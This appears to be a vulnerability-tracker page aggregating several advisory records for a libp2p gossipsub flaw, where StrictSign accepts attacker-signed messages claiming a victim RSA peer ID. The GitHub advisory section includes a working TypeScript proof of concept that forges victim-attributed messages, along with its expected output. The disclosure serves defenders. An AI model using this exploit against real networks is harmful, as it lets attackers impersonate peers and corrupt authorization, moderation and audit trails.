libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.

Source published

17 Sep 2026 15:16:57 UTC

Source modified

17 Sep 2026 17:24:35 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.

Source published

Sep 17, 2026, 3:16:57 PM (timezone not stated)

Source modified

Sep 17, 2026, 5:24:35 PM (timezone not stated)

Observed here

11 Nov 2026 17:02:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.

Source published

17 Sep 2026 16:18:16 UTC

Source modified

30 Sep 2026 17:51:36 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

### Summary `@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim. ### Details The vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`. When `msg.key` is present: ```ts publicKey = publicKeyFromProtobuf(msg.key) if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) { return { valid: false, error: ValidateError.InvalidPeerId } } ``` For RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID. The missing invariant is: ```ts peerIdFromPublicKey(publicKey).equals(fromPeerId) ``` This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs. `StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`: ```ts this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign ``` Version tracing: - `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`. - That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`. ### PoC ```ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys' import { StrictSign } from '@libp2p/gossipsub' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { concat as uint8ArrayConcat } from 'uint8arrays/concat' import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string' import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js' import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js' const label = 'gossipsub StrictSign RSA author spoof' function seqno (n: bigint): Uint8Array { const out = new Uint8Array(8) new DataView(out.buffer).setBigUint64(0, n, false) return out } async function main (): Promise<void> { const attackerKey = await generateKeyPair('Ed25519') const victimRsaKey = await generateKeyPair('RSA', 512) const victim = peerIdFromPrivateKey(victimRsaKey) const msg: RPC.Message = { from: victim.toMultihash().bytes, data: uint8ArrayFromString('forged as victim RSA peer'), seqno: seqno(1n), topic: 'poc-topic', signature: undefined, key: undefined } // Sign the protobuf message that claims victim in `from`, using attacker's key. const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)]) msg.signature = await attackerKey.sign(bytes) msg.key = publicKeyToProtobuf(attackerKey.publicKey) const result = await validateToRawMessage(StrictSign, msg) if (!result.valid) { throw new Error(`expected forged message to validate, got ${result.error}`) } assert.equal(result.message.type, 'signed') assert.equal(result.message.from.equals(victim), true) assert.equal(result.message.key.equals(attackerKey.publicKey), true) console.log(`${label} reproduced`) console.log(`claimed victim RSA author: ${victim}`) console.log('signature verified with attacker-supplied key') } main().catch(err => { console.error(err) process.exitCode = 1 }) ``` Expected output: ```text gossipsub StrictSign RSA author spoof reproduced claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f signature verified with attacker-supplied key ``` ### Impact Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim. The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

Source published

17 Sep 2026 17:29:31 UTC

Source modified

17 Sep 2026 17:45:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH